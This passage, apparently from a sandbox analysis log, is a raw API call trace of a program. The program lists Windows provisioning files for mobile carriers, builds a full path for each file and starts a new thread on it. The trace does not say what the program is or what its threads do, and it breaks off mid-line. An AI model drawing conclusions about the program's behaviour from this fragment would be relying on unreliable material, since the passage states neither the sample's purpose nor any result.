(HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f91788 [0180.706] wcscpy (in: _Dest=0x2f91788, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.707] wcscat (in: _Dest=0x2f91788, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.707] wcscat (in: _Dest=0x2f91788, _Source="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0180.707] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="442__C~1.PRO")) returned 1 [0180.707] wcscmp (_String1="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.707] wcscmp (_String1="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa2860 [0180.707] wcscpy (in: _Dest=0x2fa2860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.707] wcscat (in: _Dest=0x2fa2860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.707] wcscat (in: _Dest=0x2fa2860, _Source="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" [0180.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0180.708] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="443__C~1.PRO")) returned 1 [0180.708] wcscmp (_String1="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.708] wcscmp (_String1="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054aa0 [0180.708] wcscpy (in: _Dest=0x3054aa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.708] wcscat (in: _Dest=0x3054aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.708] wcscat (in: _Dest=0x3054aa0, _Source="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0180.709] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="444__C~1.PRO")) returned 1 [0180.709] wcscmp (_String1="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.709] wcscmp (_String1="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02460 [0180.709] wcscpy (in: _Dest=0x4f02460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.709] wcscat (in: _Dest=0x4f02460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.709] wcscat (in: _Dest=0x4f02460, _Source="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" [0180.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0180.710] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="445__C~1.PRO")) returned 1 [0180.710] wcscmp (_String1="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.710] wcscmp (_String1="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30551f0 [0180.710] wcscpy (in: _Dest=0x30551f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.710] wcscat (in: _Dest=0x30551f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.710] wcscat (in: _Dest=0x30551f0, _Source="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30551f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0180.711] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="446__C~1.PRO")) returned 1 [0180.711] wcscmp (_String1="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.711] wcscmp (_String1="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f01a20 [0180.711] wcscpy (in: _Dest=0x4f01a20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.711] wcscat (in: _Dest=0x4f01a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.711] wcscat (in: _Dest=0x4f01a20, _Source="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" [0180.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0180.712] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="447__C~1.PRO")) returned 1 [0180.712] wcscmp (_String1="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.712] wcscmp (_String1="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f908c0 [0180.712] wcscpy (in: _Dest=0x2f908c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.712] wcscat (in: _Dest=0x2f908c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.712] wcscat (in: _Dest=0x2f908c0, _Source="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" [0180.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f908c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0180.712] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x0, dwReserved1=0x0, cFileName="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="448__C~1.PRO")) returned 1 [0180.712] wcscmp (_String1="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.713] wcscmp (_String1="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f91228 [0180.713] wcscpy (in: _Dest=0x2f91228, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.713] wcscat (in: _Dest=0x2f91228, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.713] wcscat (in: _Dest=0x2f91228, _Source="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" [0180.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0180.713] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="449__C~1.PRO")) returned 1 [0180.713] wcscmp (_String1="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.713] wcscmp (_String1="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f03278 [0180.713] wcscpy (in: _Dest=0x4f03278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.713] wcscat (in: _Dest=0x4f03278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.713] wcscat (in: _Dest=0x4f03278, _Source="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" [0180.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0180.714] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="44__CO~1.PRO")) returned 1 [0180.714] wcscmp (_String1="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.714] wcscmp (_String1="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f90a18 [0180.714] wcscpy (in: _Dest=0x2f90a18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.714] wcscat (in: _Dest=0x2f90a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.714] wcscat (in: _Dest=0x2f90a18, _Source="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" [0180.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0180.715] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="450__C~1.PRO")) returned 1 [0180.715] wcscmp (_String1="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.715] wcscmp (_String1="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f8fca8 [0180.715] wcscpy (in: _Dest=0x2f8fca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.715] wcscat (in: _Dest=0x2f8fca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.715] wcscat (in: _Dest=0x2f8fca8, _Source="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" [0180.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0180.716] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="451__C~1.PRO")) returned 1 [0180.716] wcscmp (_String1="451__Connections_Cellular_Turkcell 